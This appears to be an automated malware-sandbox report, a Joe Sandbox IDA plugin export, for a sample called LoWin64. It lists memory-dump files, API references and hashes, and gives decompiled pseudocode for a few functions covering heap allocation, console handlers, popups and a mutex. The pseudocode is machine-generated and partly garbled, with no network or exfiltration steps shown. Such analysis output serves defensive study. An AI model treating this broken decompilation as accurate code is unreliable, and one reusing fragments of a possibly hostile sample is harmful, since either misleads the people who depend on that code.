$!, xrefs: 00007FF6B1CAFD57

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: Popup
String ID: $!$R
API String ID: 3418901340-3637212060
Opcode ID: 71a19e68c5cdaa206c754ed382ea0b1a71ed78e748b9ed73054e4b8e16f08200
Instruction ID: b302032d7c4604781e05076ec2b3df296a34acc4304a16bae0c7465360c98417
Opcode Fuzzy Hash: 71a19e68c5cdaa206c754ed382ea0b1a71ed78e748b9ed73054e4b8e16f08200
Instruction Fuzzy Hash: 9F11E017F2C04262F7524F2CAC891BE62A0BF1474DFA40238DB2CC169ACF3CE24A8645

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CAFC8A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E00007FF67FF6B1CAFC8A(void* __eax, void* __ebx, void* __ebp, void* __eflags, void* __rsi, void* _a128) {
				void* _t14;
				void* _t19;
				void* _t21;
				void* _t24;
				void* _t25;
				void* _t29;
				void* _t32;
				void* _t35;
				void* _t38;
				void* _t41;
				signed int _t46;
				signed int _t48;
				signed long long _t57;
				void* _t61;

				_t21 = __eflags;
				_t32 = (_t29 - _t46 | _t57) + _t46;
				asm("movsd xmm0, [0x10edd0]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (__eflags != 0) goto 0xb1cafca8;
				if (__eflags == 0) goto 0xb1cafd13;
				E00007FF67FF6B1D3ACF4(_t32);
				if (_t21 >= 0) goto 0xb1cafcb8;
				_t35 = (_t32 - _t46 | _t57) + _t46;
				if (_t35 - _t46 > 0) goto 0xb1cafcc4;
				 *0xb1decf60 = _t46;
				goto 0xb1cafd13;
				if ((E00007FF67FF6B1D3ACF4(_t35) & r13d) >= 0) goto 0xb1cafcd4;
				_t38 = (_t35 - _t46 | _t57) + _t46;
				_t24 = _t38 - 0x5e;
				if (_t24 < 0) goto 0xb1cafd13;
				E00007FF67FF6B1D3ACF4(_t38);
				if (_t24 >= 0) goto 0xb1cafce9;
				_t41 = (_t38 - _t46 | _t57) + _t46;
				_t25 = _t41 - 0x67;
				if (_t25 >= 0) goto 0xb1cafd13;
				 *0xb1decf60 = _t46;
				E00007FF67FF6B1D3ACF4(_t41);
				if (_t25 >= 0) goto 0xb1cafd04;
				_t44 = (_t41 - _t46 | _t57) + _t46;
				 *0xb1decf60 = _t48;
				 *0xb1decf60 = _t46;
				 *0xb1decf60 = r12d;
				 *0xb1decf60 = 0x33;
				AnyPopup();
				r8d = r8d | 0xffffffff;
				0xb1ca6ecc(); // executed
				if ((_t41 - _t46 | _t57) + _t46 == 0) goto 0xb1cafd51;
				r8d = 0;
				_t14 = E00007FF67FF6B1CB5030(r12d & 0xffffff00 | _t44 - 0x00000067 < 0x00000000, _t19, r8d, _t44, _t46, __rsi, __rsi, _t61);
				goto 0xb1cafd54;
				0xb1cb1e80(); // executed
				asm("movaps xmm6, [esp+0x30]");
				asm("movaps xmm7, [esp+0x20]");
				return _t14;
			}

0x7ff6b1cafc8a
0x7ff6b1cafc8e
0x7ff6b1cafc90
0x7ff6b1cafc98
0x7ff6b1cafc9c
0x7ff6b1cafca0
0x7ff6b1cafca4
0x7ff6b1cafca6
0x7ff6b1cafca8
0x7ff6b1cafcb0
0x7ff6b1cafcb6
0x7ff6b1cafcba
0x7ff6b1cafcbc
0x7ff6b1cafcc2
0x7ff6b1cafccc
0x7ff6b1cafcd2
0x7ff6b1cafcd4
0x7ff6b1cafcd7
0x7ff6b1cafcd9
0x7ff6b1cafce1
0x7ff6b1cafce7
0x7ff6b1cafce9
0x7ff6b1cafcec
0x7ff6b1cafcee
0x7ff6b1cafcf4
0x7ff6b1cafcfc
0x7ff6b1cafd02
0x7ff6b1cafd0d
0x7ff6b1cafd13
0x7ff6b1cafd19
0x7ff6b1cafd20
0x7ff6b1cafd2a
0x7ff6b1cafd30
0x7ff6b1cafd39
0x7ff6b1cafd40
0x7ff6b1cafd42
0x7ff6b1cafd4a
0x7ff6b1cafd4f
0x7ff6b1cafd57
0x7ff6b1cafd5c
0x7ff6b1cafd6b
0x7ff6b1cafd7f

APIs

AnyPopup.USER32 ref: 00007FF6B1CAFD2A

Strings

R, xrefs: 00007FF6B1CAFD4A
$!, xrefs: 00007FF6B1CAFD57

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: Popup
String ID: $!$R
API String ID: 3418901340-3637212060
Opcode ID: 1a29021d93bbafcc040c9a51e1a43801f8a414a6c9931c9aecb3f623bf05da41
Instruction ID: bd68639a97cae9779971fe5338ba15102a5e415dc52489411538db9145a09531
Opcode Fuzzy Hash: 1a29021d93bbafcc040c9a51e1a43801f8a414a6c9931c9aecb3f623bf05da41
Instruction Fuzzy Hash: 2411E013E2C546A6F7639F3D684A17E92A0BF0579CF600339CB1DC219ACF3CA24A8241

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CCB200 Relevance: 3.8, APIs: 3, Instructions: 73
memoryCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00007FF67FF6B1CCB200(void* __esi, intOrPtr* __rax, long long __rbx, void* __rcx, long long __rsi) {
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				signed long long _t40;
				signed long long _t54;
				long long _t55;
				long _t56;
				void* _t59;
				long long _t71;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t78;

				 *((long long*)(_t75 + 0x18)) = __rbx;
				_t76 = _t75 - 0x20;
				 *__rax =  *__rax + GetLastError();
				r9d = 4;
				_t23 = VirtualAlloc(??, ??, ??, ??); // executed
				SetLastError(_t56);
				_t59 =  !=  ? __rax : 0xffffffff;
				if (0xffffffff == 0xffffffff) goto 0xb1ccb317;
				 *((long long*)(_t76 + 0x30)) = _t71;
				 *((long long*)(_t76 + 0x38)) = __rsi;
				if (0xffffffff != 0xffffffff) goto 0xb1ccb264;
				goto 0xb1ccb26a;
				_t5 = _t59 + 0x10; // 0x10000000f
				_t73 = _t5 +  ~0x00000000;
				r8d = 0x370;
				_t24 = E00007FF67FF6B1D2B650(_t23, _t26, _t73, 0, _t78);
				 *0x0000000C = 0x373;
				 *((long long*)(_t73 + 0x348)) = 0xffffffff;
				 *((long long*)(_t73 + 0x350)) = 0x20000;
				 *((long long*)(_t73 + 0x30)) = 0xff;
				_t25 = E00007FF67FF6B1CCAFE0(_t24, _t73);
				_t12 = _t73 - 0x10; // 0xffffffff
				_t54 = _t12 + ( *(_t73 - 8) & 0xfffffffc);
				if (0xffffffff == 0xffffffff) goto 0xb1ccb2da;
				_t40 =  ~(_t54 & 0x00000007) & 0x00000007;
				_t55 = _t54 + _t40;
				 *((long long*)(_t73 + 0x20)) = _t55;
				 *((long long*)(_t73 + 0x10)) = 0xffffffff;
				 *((long long*)(_t55 + 8)) = 0xffffffffffffffff;
				 *((long long*)(_t55 + _t59 - _t54 + 0x1ffc0 - _t40 + 8)) = 0x40;
				 *((long long*)(_t73 + 0x28)) = 0x200000;
				return _t25;
			}

0x7ff6b1ccb200
0x7ff6b1ccb206
0x7ff6b1ccb21b
0x7ff6b1ccb21f
0x7ff6b1ccb223
0x7ff6b1ccb22e
0x7ff6b1ccb23e
0x7ff6b1ccb246
0x7ff6b1ccb24c
0x7ff6b1ccb253
0x7ff6b1ccb25e
0x7ff6b1ccb262
0x7ff6b1ccb26a
0x7ff6b1ccb270
0x7ff6b1ccb273
0x7ff6b1ccb27c
0x7ff6b1ccb281
0x7ff6b1ccb28d
0x7ff6b1ccb294
0x7ff6b1ccb29f
0x7ff6b1ccb2a7
0x7ff6b1ccb2b0
0x7ff6b1ccb2bd
0x7ff6b1ccb2d0
0x7ff6b1ccb2d7
0x7ff6b1ccb2dd
0x7ff6b1ccb2e0
0x7ff6b1ccb2e7
0x7ff6b1ccb2f2
0x7ff6b1ccb2f6
0x7ff6b1ccb2ff
0x7ff6b1ccb316

APIs

GetLastError.KERNEL32 ref: 00007FF6B1CCB20A
VirtualAlloc.KERNEL32 ref: 00007FF6B1CCB223
SetLastError.KERNEL32 ref: 00007FF6B1CCB22E

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: ErrorLast$AllocVirtual
String ID:
API String ID: 1225938287-0
Opcode ID: cbf490b843b1f77ad799627ee7c9b7955425d74e45e144201caebbf6518e2d62
Instruction ID: f385aee3ecdc663f135bef39ab6c51da1be8511e3c551aceabd57d2e866e48ad
Opcode Fuzzy Hash: cbf490b843b1f77ad799627ee7c9b7955425d74e45e144201caebbf6518e2d62
Instruction Fuzzy Hash: 5121D472B14B8196D7148B65E84836D62A1EB49BF8F1C4334DB7D4BAD9CF3CD9458340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1D3B360 Relevance: 3.1, APIs: 2, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E00007FF67FF6B1D3B360(void* __ecx, long long __rbx, signed int __rdx, long long __rdi, long long __r14, long long _a8, long long _a16, long long _a24) {
				signed long long _v24;
				void* _t36;
				void* _t38;
				intOrPtr _t69;
				intOrPtr _t70;
				void* _t80;
				intOrPtr _t85;
				intOrPtr _t86;
				intOrPtr _t88;
				signed long long _t106;
				intOrPtr _t108;
				signed long long _t109;
				void* _t110;
				signed long long _t114;
				void* _t116;

				_a8 = __rbx;
				_a16 = __rdi;
				_a24 = __r14;
				if (__rdx - 3 - 1 <= 0) goto 0xb1d3b506;
				if (_t80 - 0x16 > 0) goto 0xb1d3b44b;
				 *0x1F91461DDBF30088 =  *((long long*)(0x1f91461ddbf30088)) - 0x45;
				_t9 = _t116 + 3; // 0x3
				0xb1d7c3a8();
				if (0 == 2) goto 0xb1d3b3b8;
				if (0 != 0x15) goto 0xb1d3b3f2;
				if ( *0xb1ded7e8 != 0) goto 0xb1d3b3f2;
				asm("sti");
				asm("invalid"); // executed
				SetConsoleCtrlHandler(??, ??); // executed
				if (0x608044 == 0) goto 0xb1d3b3e0;
				 *0xb1ded7e8 = 1;
				goto 0xb1d3b3f2;
				E00007FF67FF6B1D3B5D4(0x608044);
				GetLastError();
				 *0x608044 = 0x608044;
				_t36 = E00007FF67FF6B1D3AFA0(_t9, 0x608044);
				if (0x608044 == 0) goto 0xb1d3b431;
				_t106 =  *0xb1dec1d8; // 0x6523571d4c07
				asm("dec ecx");
				_v24 = _t106 ^  *0x608044;
				if (__rdx == 2) goto 0xb1d3b431;
				asm("into");
				_t114 = __rdx ^ _t106;
				 *0x608044 = _t114;
				 *0x8E0DBB8704280773 =  *((intOrPtr*)(0x8e0dbb8704280773)) + _t36;
				 *0x608044 =  *0x608044 + _t36;
				goto 0xb1d3b524;
				if (0 - 0xb > 0) goto 0xb1d3b506;
				 *0x1FF1461E69E81220 =  *0x1FF1461E69E81220 & 0x00000009;
				if (0x910 == 0) goto 0xb1d3b506;
				_t85 =  *0x910;
				_t69 = _t85;
				if (_t85 != 0xb1dcbd60) goto 0xb1d3b4b1;
				_t86 =  *0xb1dcbe28; // 0xc0
				_t38 = E00007FF67FF6B1D7C300(_t69, _t86);
				 *0x910 = _t69;
				if (_t69 == 0) goto 0xb1d3b506;
				E00007FF67FF6B1D2BD70();
				_t88 =  *0x910;
				_t70 = _t88;
				_t108 =  *0xb1dcbe20; // 0xc
				_t109 = _t108 + _t108;
				goto 0xb1d3b4ca;
				if ( *((intOrPtr*)(_t70 + 4)) == 0) goto 0xb1d3b4d1;
				if (_t70 + 0x10 != _t70 + _t109 * 8) goto 0xb1d3b4c1;
				if (0 == 0) goto 0xb1d3b506;
				if (_t114 == 2) goto 0xb1d3b501;
				_t110 = _t88 + _t109 * 8;
				if (0 == _t110) goto 0xb1d3b501;
				if ( *0x00000004 != 0) goto 0xb1d3b501;
				 *0x00000008 = _t114;
				if (0x10 != _t110) goto 0xb1d3b4ec;
				goto 0xb1d3b524;
				if (0 - 0x11 > 0) goto 0xb1d3b515;
				asm("fiadd dword [eax]");
				 *0x3200a =  *0x3200a + _t38;
				 *0x3200a = 0x16;
				return _t38;
			}

0x7ff6b1d3b360
0x7ff6b1d3b365
0x7ff6b1d3b36a
0x7ff6b1d3b382
0x7ff6b1d3b38b
0x7ff6b1d3b39a
0x7ff6b1d3b3a4
0x7ff6b1d3b3a8
0x7ff6b1d3b3b1
0x7ff6b1d3b3b6
0x7ff6b1d3b3bf
0x7ff6b1d3b3ca
0x7ff6b1d3b3cb
0x7ff6b1d3b3cd
0x7ff6b1d3b3d5
0x7ff6b1d3b3d7
0x7ff6b1d3b3de
0x7ff6b1d3b3e0
0x7ff6b1d3b3e8
0x7ff6b1d3b3ee
0x7ff6b1d3b3f4
0x7ff6b1d3b3fc
0x7ff6b1d3b3fe
0x7ff6b1d3b413
0x7ff6b1d3b416
0x7ff6b1d3b41f
0x7ff6b1d3b42a
0x7ff6b1d3b42b
0x7ff6b1d3b42e
0x7ff6b1d3b43a
0x7ff6b1d3b441
0x7ff6b1d3b446
0x7ff6b1d3b44e
0x7ff6b1d3b45d
0x7ff6b1d3b46d
0x7ff6b1d3b473
0x7ff6b1d3b476
0x7ff6b1d3b483
0x7ff6b1d3b485
0x7ff6b1d3b48c
0x7ff6b1d3b491
0x7ff6b1d3b497
0x7ff6b1d3b4a6
0x7ff6b1d3b4ab
0x7ff6b1d3b4ae
0x7ff6b1d3b4b1
0x7ff6b1d3b4b8
0x7ff6b1d3b4bf
0x7ff6b1d3b4c4
0x7ff6b1d3b4cd
0x7ff6b1d3b4d4
0x7ff6b1d3b4e1
0x7ff6b1d3b4e3
0x7ff6b1d3b4ea
0x7ff6b1d3b4ef
0x7ff6b1d3b4f1
0x7ff6b1d3b4ff
0x7ff6b1d3b504
0x7ff6b1d3b509
0x7ff6b1d3b516
0x7ff6b1d3b518
0x7ff6b1d3b51a
0x7ff6b1d3b539

APIs

SetConsoleCtrlHandler.KERNEL32 ref: 00007FF6B1D3B3CD
GetLastError.KERNEL32 ref: 00007FF6B1D3B3E8

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: ConsoleCtrlErrorHandlerLast
String ID:
API String ID: 3113525192-0
Opcode ID: 250e2d6079b0f933be77d55629a26a52e409728ebd070cf2a87127ec0598722e
Instruction ID: 90d41c6874db245692b67cf5f03e3ffea30a7613121e085689a7fd12eabd0637
Opcode Fuzzy Hash: 250e2d6079b0f933be77d55629a26a52e409728ebd070cf2a87127ec0598722e
Instruction Fuzzy Hash: 6C515972B09A42A1FF319B1DA4502B96795AF94B88F884736DB4EC73D5DE3CF4868301

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CB5890 Relevance: 2.6, APIs: 2, Instructions: 129
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E00007FF67FF6B1CB5890(void* __edi, intOrPtr* __rax, void* __rcx, signed int __rdx, long long __rdi, long long __rsi, long long __r14, long long __r15) {
				long _t57;
				void* _t59;
				void* _t61;
				signed char _t62;
				void* _t64;
				long long _t89;
				intOrPtr* _t96;
				void* _t99;
				long long _t100;
				signed long long _t102;
				signed long long _t106;
				intOrPtr _t107;
				long long _t117;
				intOrPtr _t121;
				long long _t141;
				void* _t145;
				void* _t147;
				intOrPtr _t150;

				 *((long long*)(_t145 + 0x50)) = _t141;
				_t99 = __rcx;
				 *((long long*)(_t145 + 0x58)) = __rsi;
				 *((long long*)(_t145 + 0x60)) = __rdi;
				 *((long long*)(_t145 + 0x28)) = __r14;
				 *((long long*)(_t145 + 0x20)) = __r15;
				E00007FF67FF6B1D3B5F4(__rax);
				r12d =  *__rax;
				_t57 = GetLastError();
				_t121 =  *((intOrPtr*)(__rcx + 0x20));
				r13d = _t57;
				_t150 =  *((intOrPtr*)(__rcx + 0x10));
				_t106 =  *(_t121 - 0x10) & 0xffffffff;
				_t147 = _t150 + 0x2d8;
				if ( *((char*)(_t106 + 0xa)) != 0) goto 0xb1cb593a;
				_t107 =  *((intOrPtr*)(_t106 + 0x20));
				if (( *(_t107 - 0x2b) & 0x00000002) == 0) goto 0xb1cb5914;
				if ( *((intOrPtr*)(__rcx + 0x30)) -  *((intOrPtr*)(__rcx + 0x28)) - ( *(_t107 - 0x5d) & 0x000000ff) + 1 + ( *((intOrPtr*)(__rcx + 0x28)) - _t121 >> 3) << 3 > 0) goto 0xb1cb592e;
				E00007FF67FF6B1CB1CE0(_t64, __rcx);
				asm("pop ds");
				_t89 =  *((intOrPtr*)(_t99 + 0x30)) -  *((intOrPtr*)(_t99 + 0x28));
				if (_t89 - 0xa0 > 0) goto 0xb1cb5957;
				_t100 = _t89;
				asm("invalid");
				 *((long long*)(_t147 + 0x80)) = _t100;
				if ((bpl & 0x00000001) == 0) goto 0xb1cb5981;
				E00007FF67FF6B1CC6EA0();
				goto 0xb1cb5a16;
				if ( *((intOrPtr*)(_t147 + 0xec)) == 0) goto 0xb1cb59a1;
				if (( *(_t150 + 0x91) & 0x00000060) != 0) goto 0xb1cb59a1;
				_t59 = E00007FF67FF6B1CC6FC0(_t147, (__rdx & 0xfffffffe) - 4); // executed
				if (( *(_t150 + 0x91) & 0x00000001) == 0) goto 0xb1cb5a16;
				if (0 <= 0) goto 0xb1cb59d6;
				 *((long long*)( *((intOrPtr*)(_t100 + 0x28)))) = 0xffffffff;
				 *((long long*)(_t100 + 0x28)) =  *((long long*)(_t100 + 0x28)) + 8;
				if (0 != 0) goto 0xb1cb59c0;
				r8d = 0xffffffffffffffff;
				E00007FF67FF6B1CB5710(_t59, _t64, _t100);
				if (0 <= 0) goto 0xb1cb5a16;
				_t117 =  *((intOrPtr*)(_t100 + 0x28)) + 0xfffffff8;
				if ( *_t117 != 0xffffffff) goto 0xb1cb5a16;
				 *((long long*)(_t100 + 0x28)) = _t117;
				_t96 = _t147 + 0xec;
				if (0xffffffffffffffff > 0) goto 0xb1cb59f0;
				_t102 = _t62 & 0x000000ff;
				if (( *(_t147 + 0xa8) & 0x00000001) == 0) goto 0xb1cb5a44;
				if ( *_t96 == 0) goto 0xb1cb5a50;
				if (_t102 == 0x59) goto 0xb1cb5a4e;
				if (_t102 != 0x5c) goto 0xb1cb5a50;
				_t61 = E00007FF67FF6B1D3B5F4(_t96);
				 *_t96 = r12d;
				SetLastError(??);
				return _t61;
			}

0x7ff6b1cb589a
0x7ff6b1cb589f
0x7ff6b1cb58a2
0x7ff6b1cb58aa
0x7ff6b1cb58af
0x7ff6b1cb58b4
0x7ff6b1cb58b9
0x7ff6b1cb58be
0x7ff6b1cb58c1
0x7ff6b1cb58c7
0x7ff6b1cb58cb
0x7ff6b1cb58ce
0x7ff6b1cb58e0
0x7ff6b1cb58e3
0x7ff6b1cb58ee
0x7ff6b1cb58f0
0x7ff6b1cb590e
0x7ff6b1cb5924
0x7ff6b1cb5929
0x7ff6b1cb5939
0x7ff6b1cb593e
0x7ff6b1cb5948
0x7ff6b1cb5953
0x7ff6b1cb5955
0x7ff6b1cb5959
0x7ff6b1cb5964
0x7ff6b1cb5970
0x7ff6b1cb597c
0x7ff6b1cb5989
0x7ff6b1cb5993
0x7ff6b1cb599c
0x7ff6b1cb59b0
0x7ff6b1cb59b4
0x7ff6b1cb59c4
0x7ff6b1cb59cb
0x7ff6b1cb59d4
0x7ff6b1cb59db
0x7ff6b1cb59df
0x7ff6b1cb59ed
0x7ff6b1cb59fb
0x7ff6b1cb5a05
0x7ff6b1cb5a07
0x7ff6b1cb5a0b
0x7ff6b1cb5a14
0x7ff6b1cb5a3a
0x7ff6b1cb5a3d
0x7ff6b1cb5a42
0x7ff6b1cb5a47
0x7ff6b1cb5a4c
0x7ff6b1cb5a50
0x7ff6b1cb5a58
0x7ff6b1cb5a5b
0x7ff6b1cb5a7f

APIs

GetLastError.KERNEL32 ref: 00007FF6B1CB58C1
SetLastError.KERNEL32 ref: 00007FF6B1CB5A5B

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: d91b27f9f6197e031dc328c09e68e991afc104c774858bb459b3f063abc5b21e
Instruction ID: 00544f684a2f011982e285ccd425cdf1ab00429539220e7abbda2938eccecd73
Opcode Fuzzy Hash: d91b27f9f6197e031dc328c09e68e991afc104c774858bb459b3f063abc5b21e
Instruction Fuzzy Hash: 2F517A22A08A8595EB118B29D44936A63A4FB86BBCF654331CB6D937D5DF3CD846C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1D7C73C Relevance: 1.5, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6B1D7C73C(void* __eax, signed int __rcx, signed int __rdx) {
				void* _t9;

				if (__rcx == 0) goto 0xb1d7c75b;
				if (0xffffffffffffffe0 - __rdx < 0) goto 0xb1d7c79e;
				_t22 =  ==  ? 0x1 : __rcx * __rdx;
				goto 0xb1d7c782;
				E00007FF67FF6B1D7A484();
				if (0x1 == 0) goto 0xb1d7c79e;
				E00007FF67FF6B1D98E30(0x1,  ==  ? 0x1 : __rcx * __rdx);
				if (0x1 == 0) goto 0xb1d7c79e;
				if (0x1 == 0) goto 0xb1d7c76d;
				goto 0xb1d7c7ab;
				_t9 = E00007FF67FF6B1D3B5F4(0x1);
				 *0x1 = 0xc;
				return _t9;
			}

0x7ff6b1d7c74b
0x7ff6b1d7c759
0x7ff6b1d7c768
0x7ff6b1d7c76b
0x7ff6b1d7c76d
0x7ff6b1d7c774
0x7ff6b1d7c779
0x7ff6b1d7c780
0x7ff6b1d7c79a
0x7ff6b1d7c79c
0x7ff6b1d7c79e
0x7ff6b1d7c7a3
0x7ff6b1d7c7b0

APIs

RtlAllocateHeap.NTDLL ref: 00007FF6B1D7C791

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c0ea8cc0e1117103e8f43536359cca63919b0b6495b72d606f8bfdd53a5ab5c1
Instruction ID: 68111cdd2856fe91a4bd7fbeef9f5a592f1b80b610f0ba512bee89b9bfca88cc
Opcode Fuzzy Hash: c0ea8cc0e1117103e8f43536359cca63919b0b6495b72d606f8bfdd53a5ab5c1
Instruction Fuzzy Hash: 90F09064B1D203A9FF64576E59512B593804F88B88F8C0736CF0EC67C2DF2CE8814210

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA5074 Relevance: 1.5, APIs: 1, Instructions: 30synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNELBASE ref: 00007FF6B1CA50C2

Memory Dump Source

